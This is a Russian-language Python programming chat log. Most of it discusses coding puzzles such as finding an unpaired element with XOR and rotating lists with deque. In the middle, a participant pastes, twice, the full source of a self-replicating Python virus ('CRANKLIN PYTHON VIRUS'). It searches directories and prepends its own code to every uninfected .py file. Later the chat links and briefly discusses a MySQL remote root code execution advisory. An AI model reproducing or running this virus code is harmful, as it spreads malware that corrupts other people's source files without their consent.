ок спс

можно в лоб In [17]: for k, v in Counter(A).items(): ...: if v == 1: ...: print(k) ...: 7

да точно есть же коунтер

Ну это то же самое, что дикт

можно в лоб In [17]: for k, v in Counter(A).items(): ...: if v == 1: ...: print(k) ...: 7

Ну это вообще не интересно (

А тебе нужно без дополнительной памяти

с коунтером мне кажется попадет под ограничение по времени

Оптимальнось перевода: 4 bits -> 1 letters 0.6153846153846154 9 bits -> 2 letters 0.757396449704142 14 bits -> 3 letters 0.9321802457897133 47 bits -> 10 letters 0.996956746215826 1114 bits -> 237 letters 0.9970838928123971 ...

нет, тут не так посчитано )

Ну это вообще не интересно (

вам шашечки или ехать?

там до 0,7 сек в какой-то тестовой последовательности

и наверное время уйдет за 1 сек

не было никаких критериев по времени

с этого надо было начинать

если брать по 14 бит, то на каждые 7 байт получается 12 байт результата

и того эффективность 0,5833333333333333

вам шашечки или ехать?

Тут надо спросить у автора ))

я знаю только одну последовательность, остальные не знаю, знаю условие

с этого надо было начинать

+

не было никаких критериев по времени

Это алгоритмическая задачка с ограничениями в условии, явно намекающими на ровно одно правильное решение

по времени вообще не писали

а потом уже когда на проверку послал, тут и бац время появилось

xor вроде здесь нужен

Ну мог бы человек и сам прочитать)

это будет быстро работать, быстрее чем вариант автора

но это все равно лучше, чем мои 0.33 )))

оо спс разобрался

ща еще будут задачки )) кому интереснос

Собеседование проходишь?

нет просто решаю задачки

разобрался в итоге с каким вариантом?)

def solution(A): s = set() for n, a in enumerate(A): if a not in A[n+1:] and a not in s: return a else: s.add(a)

у тебя говно в том, что ты каждый раз делаешь о(н) на конец списка, это получается О(н!) вроде, что просто отвратительно по меркам времени

http://bigocheatsheet.com

это O(N**2)

в итоге вот 100% хорошее решение def solution(A): result = A[0] for x in A[1:]: result ^= x return result

это O(N**2)

нет

ну возможно и нет, но первый раз задетектило время O(N**2) итоговое решение говорит что O(N)

но если подумать, то скорее да, чем нет :)

с ксором правильно, да

reduce(lambda x, y: x ^ y, A) или reduce(operator.xor, A) или reduce(xor, A)

reduce(lambda x, y: x ^ y, A) или reduce(operator.xor, A) или reduce(xor, A)

2

reduce(lambda x, y: x ^ y, A) или reduce(operator.xor, A) или reduce(xor, A)

Красота )

во редюс надо было использовать

reduce(lambda x, y: x ^ y, A) или reduce(operator.xor, A) или reduce(xor, A)

круто

кто-нить писал вирус наподобие стакснет на пайтоне?

кто-нить писал вирус наподобие стакснет на пайтоне?

да, АНБ

вот вопрос A = [3, 8, 9, 7, 6] K = 3 3 кол-во сдвигов вправо на выходе должно получиться [9, 7, 6, 3, 8]

хотя тут проще

а какой смысл пытаться решать задачки и всех спрашивать ответ сразу же?

вот вопрос A = [3, 8, 9, 7, 6] K = 3 3 кол-во сдвигов вправо на выходе должно получиться [9, 7, 6, 3, 8]

A[K? + A[:K]

да хз просто в лоб я всегда могу сделать

.

а так мне подсказки дают

вот вопрос A = [3, 8, 9, 7, 6] K = 3 3 кол-во сдвигов вправо на выходе должно получиться [9, 7, 6, 3, 8]

2 или 3 цикла for

Точно не помню

вот вопрос A = [3, 8, 9, 7, 6] K = 3 3 кол-во сдвигов вправо на выходе должно получиться [9, 7, 6, 3, 8]

Эм, если K может быть любое, то как то так: for _ in range(K): A.insert(0, A.pop())

Раньше что то подобное решал

В вики про циклические сдвиги глянь

И все поймешь

ок спс

надо понимать, что list это не linked list список

#!/usr/bin/python import os import datetime SIGNATURE = "CRANKLIN PYTHON VIRUS" def search(path): filestoinfect = [] filelist = os.listdir(path) for fname in filelist: if os.path.isdir(path+"/"+fname): filestoinfect.extend(search(path+"/"+fname)) elif fname[-3? == ".py": infected = False for line in open(path+"/"+fname): if SIGNATURE in line: infected = True break if infected == False: filestoinfect.append(path+"/"+fname) return filestoinfect def infect(filestoinfect): virus = open(os.path.abspath(__file__)) virusstring = "" for i,line in enumerate(virus): if i>=0 and i <39: virusstring += line virus.close for fname in filestoinfect: f = open(fname) temp = f.read() f.close() f = open(fname,"w") f.write(virusstring + temp) f.close() def bomb(): if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25: print "HAPPY BIRTHDAY CRANKLIN!" filestoinfect = search(os.path.abspath("")) infect(filestoinfect) bomb()

и поэтому циклами по одному элементу не надо с ним работать

Вк лежит.

Вк лежит.

шо, опять?

+

Вк лежит.

Это всё из-за вируса

не лежит

ERROR: S client not available

но тупит

Скоро и телеграм ляжет, дайте время расплодиться

Скоро и телеграм ляжет, дайте время расплодиться

для начала его надо отнять и выгнать из него всех хороших разработчиков и админов

Это всё из-за вируса

И на телефоне тоже?

All world

#!/usr/bin/python import os import datetime SIGNATURE = "CRANKLIN PYTHON VIRUS" def search(path): filestoinfect = [] filelist = os.listdir(path) for fname in filelist: if os.path.isdir(path+"/"+fname): filestoinfect.extend(search(path+"/"+fname)) elif fname[-3? == ".py": infected = False for line in open(path+"/"+fname): if SIGNATURE in line: infected = True break if infected == False: filestoinfect.append(path+"/"+fname) return filestoinfect def infect(filestoinfect): virus = open(os.path.abspath(__file__)) virusstring = "" for i,line in enumerate(virus): if i>=0 and i <39: virusstring += line virus.close for fname in filestoinfect: f = open(fname) temp = f.read() f.close() f = open(fname,"w") f.write(virusstring + temp) f.close() def bomb(): if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25: print "HAPPY BIRTHDAY CRANKLIN!" filestoinfect = search(os.path.abspath("")) infect(filestoinfect) bomb()

хоть бы search сделал генератором, что ли

а можешь поправить?

нет

Тогда не умничай (это не мой код)

3-4 где-то

вот вопрос A = [3, 8, 9, 7, 6] K = 3 3 кол-во сдвигов вправо на выходе должно получиться [9, 7, 6, 3, 8]

божемой...

d = deque(A) d.rotate(3)

что за deque ?

double ended queue

а нашел в модуле collections

?

MySQL Remote Root Code Execution / Privilege Escalation ( 0day )

херня, для пользователей с повышенными привелегиями

FILE почти никому не дают, в основном, для реплики. а реплику делают сами админы в основном

http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

херь

Необходимы тепличные условия

которых не будет в реальной жизни

аа, как на цисках недавно было.. ясн, спасибо

просто файл прив не даст перезписать существующий файл

даже если есть права

короч будет рце, если ты уже в локалке

и от рута :D

еще условия нужны